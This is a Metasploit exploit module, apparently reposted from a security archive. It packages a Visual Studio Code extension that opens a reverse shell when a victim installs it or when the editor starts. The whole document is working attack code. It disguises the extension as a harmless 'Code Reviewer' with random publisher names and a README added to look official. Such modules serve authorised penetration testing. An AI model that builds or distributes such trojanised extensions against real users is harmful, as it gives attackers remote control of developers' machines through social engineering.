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Visual Studio Code Execution

This Metasploit module creates a vsix file which can be installed in Visual Studio Code as an extension. At activation/install, the extension will execute a shell or two. Tested against VSCode 1.87.2 on Ubuntu 22.04.

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### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Visual Studio vsix Extension Exec',        'Description' => %q{          Creates a vsix file which can be installed in Visual Studio Code as an extension.          At activation/install, the extension will execute a shell or two.          Tested against VSCode 1.87.2 on Ubuntu 22.04        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # Metasploit module        ],        'DefaultOptions' => {          'EXITFUNC' => 'thread',          'DisablePayloadHandler' => false,          'FILENAME' => 'extension.vsix',          'WfsDelay' => 3_600, # 1hr          'payload' => 'nodejs/shell_reverse_tcp' # cross platform        },        'Platform' => 'nodejs',        'Arch' => ARCH_NODEJS,        'Targets' => [          ['Automatic', {}],        ],        'References' => [          ['URL', 'https://medium.com/@VakninHai/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1'], # similar idea          ['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],          ['URL', 'https://code.visualstudio.com/api/references/activation-events'] # onStartup Action        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK]        },        'Privileged' => false,        'DisclosureDate' => '2024-03-22' # date of development      )    )    register_options([      OptString.new('NAME', [true, 'The name of the extension', 'Code Reviewer']),      OptString.new('DESCRIPTION', [true, 'The description of the extension', 'Reviews code']),      OptString.new('VERSION', [true, 'The version of the extension', '0.0.1']),      OptString.new('README', [false, 'The readme contents for the extension', '']),    ])  end  def name    datastore['NAME']  end  def description    datastore['DESCRIPTION']  end  def version    datastore['VERSION']  end  def readme    datastore['README']  end  def manifest    %(<?xml version="1.0" encoding="utf-8"?><PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">  <Metadata>    <Identity Language="en-US" Id="extension-name-fillmein" Version="#{version}" Publisher="#{Rex::Text.rand_text_alpha(10)}" />    <DisplayName>#{name}</DisplayName>    <Description xml:space="preserve">#{description}</Description>    <Tags></Tags>    <GalleryFlags>Public</GalleryFlags>    <Properties>      <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.60.0" />      <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />      <Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />      <Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />      <Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />      <Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" />      <Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/>    </Properties>  </Metadata>  <Installation>    <InstallationTarget Id="Microsoft.VisualStudio.Code"/>  </Installation>  <Dependencies/>  <Assets>    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />  </Assets></PackageManifest>)  end  def extension_js    %|const vscode = require('vscode');function activate(context) {  #{payload.encoded}}function deactivate() {}module.exports = {  activate,  deactivate}|  end  def package_json    %({  "name": "#{name.gsub(' ', '.')}",  "displayName": "#{name}",  "description": "#{description}",  "version": "#{version}",  "publisher":"#{Rex::Text.rand_name}",  "engines": {    "vscode": "^1.60.0"  },  "activationEvents": ["onStartupFinished"],  "main": "./extension.js",  "devDependencies": {    "@types/vscode": "^1.60.0"  }})  end  def exploit    # Create malicious vsix (zip archive) containing our exploit    files =      [        { data: manifest, fname: 'extension.vsixmanifest' },        { data: extension_js, fname: 'extension/extension.js' },        { data: package_json, fname: 'extension/package.json' },        { data: readme, fname: 'extension/README.md' }, # not required, but looks a little more official      ]    zip = Msf::Util::EXE.to_zip(files)    file_create(zip)    print_status('Waiting for shell')  endend

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